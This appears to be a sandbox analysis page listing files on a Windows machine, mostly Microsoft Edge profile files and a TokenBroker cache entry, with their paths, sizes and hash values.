Size 13KB
SHA256 e457bbe6dd4b55b290140d3246558cadbb5e4e93a5a6a08e0b5b57708e83c9f4
MD5 6c73d070e0df244b5b85bf6595272257
SHA1 884ef8d56f24decca35228e5f6c9d60560ba787e
SHA512 25a47e745aca787ee38c446893c31f6b62fc85935b7e473930e7af529321c7ed7b9ad148a0ffd16e69b11c5a52be3f4338ebf9d33845c4afc018cae8cb7844de
SSDEEP 192:sxZrRJyM/jK1Ml8Mk2/fhsJyGuIdpQKHLf76+WNQ2y/Yw6IeimIg5oJ:sxZrnM2/fhsJL/DHME/UO
TLSH
T1CC52D8166A34997B8CDBD209FA45BB53D6F50472D2901E44AAFCCA0C05E7BED2217C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 30KB
SHA256 ac6b3fb611d958256ea6fdbc1b191cde49079253bd726b005c513e586351cb44
MD5 f2cf653042ab9ee43b91ba67bc984000
SHA1 0a99bd4accb897bb00cec7949070578cb60c20ee
SHA512 8402ecd5b40e80608187a6e58daae3b8e1a71ac8db08af63eb605ea8325e88ef29575f832a5d74a0d15ed965be935980823cf46806f3908ba5e8900af4b89aca
SSDEEP 768:pG4jeXmWvmKLE8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhPLlrZ+dirohxcJa7:pG4jeXmWvmKLEu1jacPLZQd5sq
TLSH
T139D2F93B280CCF7E4F844E5CED26AE976ED801CB6A584D5447FA894C03C76EB512B49B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 6ff4d9ca4b72a16455017db19770026bda146c03a9b1cfba72403471e1ff3de9
MD5 b528760b4b30bcbcbab547346c02e4b2
SHA1 6ac96b54ab304ccda0bfd0d6bdb53bdf0904c4bd
SHA512 3699fa8f569a3068acccd3126478b4dc12401fcd35eff3b7814c605c29ed6571e399e0d1a1e20d5977c97724f88de88e77f0946148e592555a511f6da3a54b7a
SSDEEP 96:KEG0KXqSqQ4KhqD0VAE+imkWivPgMkK4BgGkckEP+k5HafG6MsMaWN:Cfne0VAE+imbiv4MYBgGLkEP+k5HafGj
TLSH
T11791E795317B42152D3D7B0C96A4D619CE8275A33025E82B7B9C43B60F67D528EFC8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe595bb3.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe595bb3.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 8f41ce0f1460b2bc5ba9f33440985031e416afae7443a44a33c3f9659f6d05f1
MD5 c839e43ae59fd3515cda92bf150a9f23
SHA1 6209d0030d6da26d00664a9fc83d8f09bd5f0387
SHA512 e132accaaf263532f9ade3c5c548c20d58a1413722f1e06661f9fb8e762b488f55e3d914cca8031e2b5d57cf19a4320f2576ec75b67e07be06f9daff0ec2f9d6
SSDEEP 384:diF1tNn/s3n9SGzsNe8TUNTUlIlEuvylf9waHf+9OMYDGZFWOObjI9G6w7/c:UF1j+91LwgGV//oO7GzW29ME
TLSH
T12EC217F258D78936DDAE4B57F77E2D128EBCC167B5856A84B3885A0CCC961BFC306810
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 19KB
SHA256 854711399216cfcf8b78844d2da6b0a05cc6c88a720ffd2cd6719870970de156
MD5 92813f3fc44572e2e42af383214302bf
SHA1 39618b17e0bd2253ae6076b52f961817090078ca
SHA512 f28154f21e25e0063e983165e9c5759221724cb98c60f5fd84fab11c6dae8fc4b40aee9c8ac595be9465955212278b4f822a716004c56f58b1ccdf8d25593ef0
SSDEEP 384:KtNn/s3n9SfsNOEuvylf9w5Hf+9OMYDsdFWOObjI9G6w7/c:Kj+9UyVY/oO7s3W29ME
TLSH
T122928C32682A9D374DA29AA5F48B39178FF4417BD6C52F88E6DD6F0D04DB6AC0306825
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 c67c5b920080a0aa21333f6a3e873cce5fbcd5dbae2029532c3eb2e1ee7b9635
MD5 e9873f5a74e26fe10e18677652046ac1
SHA1 db650c05fb687fe8df88c067b5e8b462261b730d
SHA512 ed33c5eae125999bb728237f0f8ba94b1461ceb176685d27fb3d68fbd14fe6837489e88563bc5a2f5cc35aeadbeb7c5bb47c9fde0bba5570c61d6d2099f20d8f
SSDEEP 192:XONn6hZ6QmiUyJT1c/+jVfO1SYoQIeH5cOqQquRU6:XONn6qA1u+9OMYDe9WU6
TLSH
T1FA120A3268689C375DE2A955F48736539EE5522BEAC57FC4D6DC2B1C00DF6AC230BC22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 ee3cc6b8e351a7c7377fb530bd0f89284bccaed140f44c0e0a14c212e03e5099
MD5 6fb9f665e85872407103c5256a948191
SHA1 5300efc0e6c5ddecda895352b92ff966fd6f2dc6
SHA512 5cd08ba06d4973c0427a23669130bad5c669f422457c77633b6182c3c425b1f6d226c3386b0e9dd44fced24298a2cfc866225c289f234d4719c62af55faf4f8a
SSDEEP 192:EOND6hZ0QmiUymTpc/+jVfO1SYo25wOZUJL0U6:EOND6oFpu+9OMY42W0U6
TLSH
T1A902D83568686C778EE2AE46F48B37239FE5113BE9956F84D6E81B1D00C779C2307836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 150f873c882773ff567c29ff25b3e8163bd4c450fd9e6f4608f58c2c0ec0cb90
MD5 0a1aac1a23b1744031e858f2bcfcc66c
SHA1 cf88acd57c4e9fe56b73efbd9474b6a059d9667f
SHA512 eae92fc898a2059897acdd832d7440b6355489008bdc3af39afd128b7f2336075bb09dad6578b65086e4bef426d02b0c44a67034b00055c065741872a9809da2
TLSH
T1C4413758A6FE0118B3B36E59AFF6A96D487E7C632F46D48D00110D4F0A63B40C862B33
MD5 SHA1 SHA512 TLSH

Submit Download